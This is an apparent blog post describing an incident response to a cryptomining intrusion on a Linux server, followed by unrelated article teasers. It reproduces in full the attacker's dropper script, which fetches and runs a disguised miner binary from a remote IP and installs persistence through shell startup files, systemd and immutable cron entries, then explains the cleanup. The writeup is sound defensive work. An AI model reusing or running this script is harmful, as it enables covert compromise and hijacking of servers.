记一次服务器被入侵的排查过程

news2025/1/12 6:19:07

起因

阿里云安全中心报告了告警信息,同时手机短信、邮件、电话也接收到了来自阿里云的风险通知,感觉这方面阿里云还是不错。
在这里插入图片描述

排查及解决过程

这条wget指令究竟是怎么被运行的

我无法定位到攻击人员是通过什么样的方式让我的java程序执行了wget这条指令的,已开始我以为跟我的程序中引用的jar远程代码执行漏洞有关,我找了可能会有这个漏洞的两个程序,log4j和jackson,但是我的程序里面使用的均是修复了之后的版本,所以暂时原因未知

病毒脚本解释

首先我下载了这个病毒脚本,他的内容如下。
仅用于展示,请勿传播病毒程序

#!/bin/sh
{ pkill -f xmrig || kill -9 $(pgrep -f 'xmrig'); } >/dev/null 2>&1
ps -eo pid,%cpu,comm --sort=-%cpu | awk 'NR>1 && !/awk|ps/ && !($3 ~ /^(logrotate|sshd|java)$/) && int($2) > 60 { system("kill -9 " $1) }'
EXEC="source <(wget -q -O - http://185.196.8.123:8080/logservice.sh || curl -sL http://185.196.8.123:8080/logservice.sh)"
trap 'rm -- "$0"' EXIT
if [ -z "${HOME+x}" ]; then
   export HOME=/tmp
fi
mkdir -p "$HOME/.config" >/dev/null 2>&1
[ ! -f "$HOME/.config/logrotate" ] && { 
   ARCH=$(uname -m)
   URL=""
   [ "$ARCH" = "x86_64" ] && URL="http://185.196.8.123:8080/silicon64blueprints.png"
   [ "$ARCH" = "aarch64" ] && URL="http://185.196.8.123:8080/siliconarmblueprints.png"
   [ -z "$URL" ] && URL="http://185.196.8.123:8080/silicon64blueprints.png"
   { wget -q -O "$HOME/.config/logrotate" "$URL" || curl -sL -o "$HOME/.config/logrotate" "$URL"; } >/dev/null 2>&1
   chmod +x "$HOME/.config/logrotate" >/dev/null 2>&1
}
pgrep -f "config/logrotate" >/dev/null 2>&1 || "$HOME/.config/logrotate"
add_to_startup() {
   if [ -r "$1" ]; then
       if ! grep -Fxq "$EXEC >/dev/null 2>&1" "$1"; then
           echo "$EXEC >/dev/null 2>&1" >> "$1"
       fi
   fi
}
case "$(ps -p $$ -o comm=)" in
   bash) add_to_startup "$HOME/.bashrc"
         add_to_startup "$HOME/.bash_logout" ;;
   zsh) add_to_startup "$HOME/.zshrc" ;;
esac
[ "$(id -u)" -eq 0 ] && {
   RCLOCAL=''
   [ -e /etc/debian_version ] && RCLOCAL='/etc/rc.local'
   [ -e /etc/centos-release -o -e /etc/redhat-release ] && RCLOCAL='/etc/rc.d/rc.local'
   [ -n "$RCLOCAL" ] && add_to_startup "$RCLOCAL"
   cat >/etc/systemd/system/logrotate.service <<EOL
[Unit]
Description=The logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files
[Service]
ExecStart=$HOME/.config/logrotate
Restart=always
Nice=-20
StandardOutput=null
[Install]
WantedBy=multi-user.target
EOL
   sudo systemctl daemon-reload 2>/dev/null
   sudo systemctl enable logrotate.service 2>/dev/null
   [ -d /var/spool/cron ] && [ -f /var/spool/cron/root ] && echo "@daily $EXEC" >> /var/spool/cron/root 2>/dev/null
   [ -d /var/spool/cron/crontabs ] && [ -f /var/spool/cron/crontabs/root ] && echo "@daily $EXEC" >> /var/spool/cron/crontabs/root 2>/dev/null
   [ -f /etc/crontab ] && echo "@daily $EXEC" >> /etc/crontab 2>/dev/null && sudo chattr +i /etc/crontab 2>/dev/null
   [ -d /etc/cron.hourly ] && echo "$EXEC" >> /etc/cron.hourly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.hourly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.hourly/logrotate 2>/dev/null
   [ -d /etc/cron.daily ] && echo "$EXEC" >> /etc/cron.daily/logrotate 2>/dev/null && sudo chmod +x /etc/cron.daily/logrotate 2>/dev/null && sudo chattr +i /etc/cron.daily/logrotate 2>/dev/null
   [ -d /etc/cron.weekly ] && echo "$EXEC" >> /etc/cron.weekly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.weekly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.weekly/logrotate 2>/dev/null
   [ -d /etc/cron.monthly ] && echo "$EXEC" >> /etc/cron.monthly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.monthly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.monthly/logrotate 2>/dev/null
   [ -d /etc/cron.yearly ] && echo "$EXEC" >> /etc/cron.yearly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.yearly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.yearly/logrotate 2>/dev/null
}

这段脚本的大概解释

终止之前的xmrig实例:
尝试使用pkill或kill命令终止任何正在运行的名为“xmrig”的程序,并将任何错误或输出重定向到/dev/null(有效地将它们静音)。

终止高CPU使用率的进程:
通过结合使用ps、awk和kill来找出并终止未明确排除且消耗超过60% CPU的任何进程。

下载并执行远程脚本:
设置一个变量EXEC,用于获取并执行一个远程服务器(185.196.8.123:8080)上的脚本(logservice.sh)。

设置环境:
确保设置了HOME环境变量,如果未设置,默认为/tmp,并在HOME下准备一个.config目录。

根据架构下载并执行二进制文件:
检查系统架构并从同一远程服务器下载特定文件(假定为二进制文件),将其作为logrotate保存在.config目录中,然后使其可执行。

持久性机制:
将远程脚本执行添加到Bash和Zsh shell的启动文件中,以便每次启动shell会话时都会执行它。
还试图将此脚本插入各种系统级cron目录和systemd服务中,以确保它持续运行或定期检查,这有效地使其更难以移除,并确保它定期运行。

Cron和Systemd操纵:
设置了一个名为logrotate.service的systemd服务来运行下载的二进制文件,并尝试将执行命令添加到不同频率的各种cron目录(每小时、每天、每周、每月、每年)中,并使用chattr +i命令使这些脚本变为不可更改。

也就是说这段脚本会采用定时任务和开机启动项等方式,去远程下载一些文件,并把他们伪造成正常的logrotate服务来运行

查杀

知道了脚本的运作机制,就好解决了

1. 先把进程杀掉

  1. 删除掉对应的病毒目录,使用ps -ef|grep logrotate可以看到这个病毒的目录,去把对应的文件删掉
  2. 使用top命令,找到名称为logrotate的服务,这个占用了大量CPU,把服务结束掉kill -9 id

2. 清除定时任务

我们现在已经把当前服务杀了,然后也删除了病毒文件,现在我们要把病毒脚本添加定时任务给清除

清除用户定时任务
使用crontab -e会列出所有当前用户的定时任务,把相关任务删掉保存

清除系统级别定时任务
直接删删不掉的,需要先执行命令解锁

# 先用这个命令看看
lsattr 文件

在这里插入图片描述

# 然后执行解锁命令,如果上面的ia就是-ai 如果是只用一个i就是-i
chattr -ai 文件

然后就可以删除了

rm -rf /etc/cron.hourly/logrotate
rm -rf /etc/cron.daily/logrotate
rm -rf /etc/cron.weekly/logrotate
rm -rf /etc/cron.monthly/logrotate
rm -rf /etc/cron.yearly/logrotate

3. 清除服务

# 先使用这个命令查看是否有服务
systemctl list-unit-files |grep logrotate.service
# 然后清除服务
systemctl disable logrotate.service

4. 清除开机启动项

可以看到脚本中是会把命令写到如下文件中
在这里插入图片描述
编辑这些文件,把异常信息删掉

到此,所有的清楚工作就结束了,修改下密码,重启服务器应该就可以了,最后就是要搞清楚那个wget命令是如何被执行的

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1361690.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

打造清晰的日志管理策略:如何在 NestJS 中集成 winston 高级日志系统

前言 在Web应用程序的开发过程中&#xff0c;日志管理是不可或缺的一部分。日志可以帮助我们了解应用程序的运行状态&#xff0c;监控系统行为&#xff0c;以及在出现问题时快速定位和解决问题。 对于使用NestJS框架的项目来说&#xff0c;集成一个高效、可扩展的日志系统尤为…

Java:IO流详解

文章目录 基础流1、IO概述1.1 什么是IO1.2 IO的分类1.3 顶级父类们 2、字节流2.1 一切皆为字节2.2 字节输出流 OutputStream2.3 FileOutputStream类2.3.1 构造方法2.3.2 写出字节数据2.3.3 数据追加续写2.3.4 写出换行 2.4 字节输入流 InputStream2.5 FileInputStream类2.5.1 构…

RFM会员价值度模型

模型基本原理 会员价值度用来评估用户的价值情况&#xff0c;是区分会员价值的重要模型和参考依据&#xff0c;也是衡量不同营销效果的关键指标。 价值度模型一般基于交易行为产生&#xff0c;衡量的是有实体转化价值的行为。常用的价值度模型是RFM RFM模型是根据会员 最近…

C#,简单选择排序算法(Simple Select Sort)的源代码与数据可视化

排序算法是编程的基础。 常见的四种排序算法是&#xff1a;简单选择排序、冒泡排序、插入排序和快速排序。其中的快速排序的优势明显&#xff0c;一般使用递归方式实现&#xff0c;但遇到数据量大的情况则无法适用。实际工程中一般使用“非递归”方式实现。本文搜集发布四种算法…

8 单链表---带表头节点

上节课所学的顺序表的缺点 顺序表的最大问题&#xff1a;插入和删除时需要移动大量元素 链式存储的定义 链式存储的逻辑结构 链表中的基本概念&#xff1a; 注意&#xff1a;表头节点并不属于数据元素 单链表图示&#xff1a; 把3个需要的结构体定义出来&#xff1a; typdef …

《网络是怎样连接的》2.3节图表(自用)

图4.1&#xff1a;TCP拆分数据与ACK号 图4.2&#xff1a;实际工作中ACK号与序号的交互过程 首先&#xff0c;客户端在连接时需要计算出与从客户端到服务器方向通信相关的序号初始值&#xff0c;并将这个值发送给服务器&#xff08;①&#xff09;。 接下来&#xff0c;服务器会…

MySQL学习笔记2: MySQL的前置知识

目录 1. MySQL是什么?2. 什么是客户端&#xff0c;什么是服务器&#xff1f;3. 服务器的特点4. 安装mysql5. mysql 客户端6. mysql 服务器7. mysql的本体8. MySQL 使用什么来存储数据&#xff1f;9. 数据库的多种含义10. MySQL 存储数据的组织方式 1. MySQL是什么? MySQL 是…

新手养布偶猫如何选择猫主食冻干?K9、sc、希喂三个品牌推荐!

布偶猫是食肉动物&#xff0c;但由于肠胃脆弱敏感&#xff0c;所以在饮食上需要特别关注哦&#xff01;为了给它们最好的呵护&#xff0c;现在有了主食冻干这种优质猫主食&#xff01;它不仅符合猫咪的天然饮食习惯&#xff0c;还用了新鲜生肉做原料呢&#xff01;营养满分不说…

如何设计企业级业务流程?学习华为的流程六级分类经验

业务流程管理&#xff08;BPM&#xff09;是一种系统化的方法&#xff0c;用于分析、设计、执行、监控和优化组织的业务流程&#xff0c;以实现预期的目标和价值。业务流程管理中&#xff0c;流程的分级方法有多种&#xff0c;常见的有以下几种&#xff1a; APQC的流程分级方法…

Agilent安捷伦E4407B频谱分析仪26.5GHz

E4407B是安捷伦ESA-E系列频谱分析仪&#xff0c;它是一款能够适应未来需要的中性能频谱分析仪解决方案。该系列在测量速度、动态范围、精度和功率分辨能力上&#xff0c;都为类似价位的产品建立了性能标准。其灵活的平台设计使得研发、制造和现场服务工程师能够自定义产品&…

(Python + Selenium4)Web自动化测试自学Day2之动手尝试

目录 文章声明⭐⭐⭐让我们开始今天的学习吧&#xff01;小试牛刀关于select标签关于弹窗只有一个点击按钮的弹窗需要确认的弹窗用户可以输入的弹窗 文章声明⭐⭐⭐ 该文章为我&#xff08;有编程语言基础&#xff0c;非编程小白&#xff09;的 Python Selenium4 Web自动化测试…

在 docker 容器中配置双网卡,解决通讯的问题

目录 1. 查看当前网络信息 2. 创建自定义网络桥 3. 创建双网卡模式 4. 删除默认网卡 已经创建好了的 Docker 容器&#xff0c;要修改它的IP比较麻烦&#xff0c;网上找了几种不同的方法&#xff0c;经过试验都没有成功&#xff0c;下面通过配置双网上来解决 IP 的问题。…

无心剑七绝《译无止境》

七绝译无止境 人生跌宕几春秋 苦辣酸甜永不休 只待通灵成妙译 神思曼舞醉琼楼 2024年1月6日 平水韵十一尤平韵 无心剑的这首《译无止境》以七言绝句的形式&#xff0c;表达了对翻译事业的热爱和追求。 首句“人生跌宕几春秋”&#xff0c;意味着人生的曲折变化&#xff0c…

IP代理测试:Ping测试如何做?

您在访问互联网时是否遇到过持续滞后或花费很长时间等待网站加载的情况&#xff1f;为了避免这种情况&#xff0c;您可以测试 ping 以查看连接速度。如果您使用代理&#xff0c;此 ping 测试还会显示代理服务器的响应速度。 ping 测试是一个很有价值的工具&#xff0c;可以帮助…

修改mariadb的默认存储路径

首先mariadb服务正常启动 安装mariadb&#xff1a; https://blog.csdn.net/qq_50247813/article/details/135402502?spm1001.2014.3001.5502 停止mariadb服务 systemctl stop mariadb创建新的数据存放目录 mkdir /data将mariadb的数据拷贝到/data目录下 mv /var/lib/mysq…

Python+Appium自动化测试的使用步骤

这篇文章主要介绍了PythonAppium实现自动化测试的使用步骤&#xff0c;文中通过示例代码介绍的非常详细&#xff0c;对大家的学习或者工作具有一定的参考学习价值&#xff0c;需要的朋友们下面随着小编来一起学习学习吧 一、环境准备 1.脚本语言&#xff1a;Python3.x IDE&…

GLTF编辑器设置3D纺织纹理贴图

在线工具推荐&#xff1a; 3D数字孪生场景编辑器 - GLTF/GLB材质纹理编辑器 - 3D模型在线转换 - Three.js AI自动纹理开发包 - YOLO 虚幻合成数据生成器 - 三维模型预览图生成器 - 3D模型语义搜索引擎 位移贴图是一种纹理映射技术&#xff0c;通过改变顶点的位置来模拟细…

I.MX6ULL开发笔记(三)——挂载NFS网络文件系统

0x01 网络文件系统 当我们在编译一个文件时&#xff0c;正常是在一个pc上编译好一个文件&#xff0c;之后丢到开发板上去运行。如果有了NFS网络文件系统&#xff0c;那么我们就可以在PC以及开发板上共享文件了。 网络文件系统&#xff0c;常被称为NFS&#xff08;Network Fil…

计算机基础知识——校验码概述

目录 1 码距 2 奇偶校验 3 CRC循环冗余校验码 3.1 多项式 3.2 编码的组成 3.3 生成多项式 3.4 校验码的生成 4 海明校验码和恒比码 4.1 校验方程 4.2 恒比码 1 码距 码距是恒量一种编码方式的抗错误能力的一个指标。数字信息在传输和存取的过程中&#xff0c;由于…

k8s的陈述式管理

k8s的陈述式管理&#xff1a; 所谓的陈述式管离也就是命令行工具 优点&#xff1a;90%以上都可以满足 对资源的增删查比较方便&#xff0c;对改不是很友好 缺点&#xff1a;命令比较冗长&#xff0c;复杂&#xff0c;难记 声明式&#xff1a; k8s当中的YAML文件来实现资源管…